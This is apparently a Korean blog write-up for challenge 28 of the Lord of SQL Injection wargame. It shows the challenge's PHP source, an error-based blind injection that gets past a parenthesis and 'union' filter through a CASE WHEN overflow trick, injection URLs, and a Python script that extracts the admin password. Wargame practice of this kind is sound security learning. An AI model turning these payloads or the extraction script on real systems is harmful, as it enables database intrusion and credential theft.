Oh! JUN
[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union) 본문
[Lord Of SQL Injection] 28번(error blind sqlinjection 예외처리: (,),union)
Kwon Oh! JUN 2022. 3. 8. 02:26query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
(,),union이 예외처리된걸 확인할 수 있고 mysqli_error에서 쿼리문이 에러나면 error처리를 한다.
이전에 많이 본 문제다.
if(조건, 참(error), 거짓) 형태로 조건이 참이되면 error가 뜨게해서 조건문의 참의 값을 알 수 있다.
여기까지는 이전 문제고 이 문제는 (,) 사용하면 안돼서 if문은 사용을 하지 못한다.
그래서 새로운 문법을 적용시킬 수 있다.
case
when 조건1 then 값1
when 조건2 then 값2
.
.
.
else 값3
end
조건1을 만족하면 값1을 출력하고, 조건2을 만족하면 값2을 출력한다.
조건1,2을 제외한 값3을 출력한다.
이번 문제에 적용시켜보면
case
when pw like '0%' then 9e307*2
else 0
end
Mysql에서는 최대 허용 범위가 9e307이기 때문에 9e307*2 하면 오류가 발생한다.
pw like '0%'는 만약 pw가 0123456이면 pw like '0%'는 참이된다.
코드 짤때
pw like '0%'
pw like '01%'
pw like '012%'
.
.
.
이런 식으로 매칭 시켜야 참인지 확인할 수 있다.
정리하면, pw like '0%'가 맞으면 9e307*2 오류를 발생시켜서 error가 뜨면 참이라는거고
거짓이면 변화가 없다.
★참 일 때
https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=%27||%20id=%27admin%27%20and%20case%20when%20pw%20like%270%%27%20then%209e307*2%20else%200%20end%20%23
query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''|| id='admin' and case when pw like'0%' then 9e307*2 else 0 end #'
error
★거짓 일 때
https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=%27||%20id=%27admin%27%20and%20case%20when%20pw%20like%271%%27%20then%209e307*2%20else%200%20end%20%23
query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''|| id='admin' and case when pw like'1%' then 9e307*2 else 0 end #'
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
어떻게 푸는지 알았으니까 코드를 짜보면
import requests
import string
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = dict(PHPSESSID="3t718net8852623nhii9htceu3")
asc = string.digits+string.ascii_letters
print(len(asc))
result=""
count = 0
for i in range(1,100):
for j in asc:
param = "?pw='|| id='admin' and case when pw like'"+result+j+"%25' then 9e307*2 else 0 end %23"
res_url = url+param
print(res_url)
response = requests.get(res_url, cookies=cookie)
count=count+1
if response.text.find("include")<0:
print(str(i)+"번째 패스워드 :"+j)
result+=j
count = 0
break
if count==len(asc):
break
print("pw :"+result)
기존 코드와 크게 다른건 없고 count, len(asc)변수만 보면된다.(기존 문제와 다르게 pw의 길이를 지정해주지 않았기 때문에 사실은 못하는거다. length(pw)에서 (,) 사용되기 때문에 예외처리 된다.)
예를 들어서
pw like '0%'
pw like '01%'
pw like '012%'
.
.
.
pw가 0123456이라고 하면
0123456까지 체크가 되어도 pw길이를 몰라서 100까지 지정해 놓았기 때문에 계속 돈다.
그래서 count변수를 사용해서 pw와 asc를 비교할때 체크되는게 없으면 즉 count가 len(asc)가되면 멈추게 코드를 짰다.
https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=0dc4efbb
query : select id,pw from prob_frankenstein where id='frankenstein' and pw='0dc4efbb'
FRANKENSTEIN Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
개강해서 바쁘다 >.<
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 30번(information_schema.processlist : 컬럼 info는 입력한 쿼리가 기록 된다. ) (0) | 2023.02.07 |
---|---|
[Lord Of SQL Injection] 27번(sleep()함수를 활용해 시간 차 출력) (0) | 2022.03.06 |
[Lord Of SQL Injection] 26번(%0a(엔터)로 뒤에 주석 무력화, 이진탐색) (0) | 2022.02.24 |
[Lord Of SQL Injection] N 25번(평문 → ASCII → hex) (0) | 2022.02.18 |
[Lord Of SQL Injection] 24번(이전문제와 비슷하다) (0) | 2022.02.16 |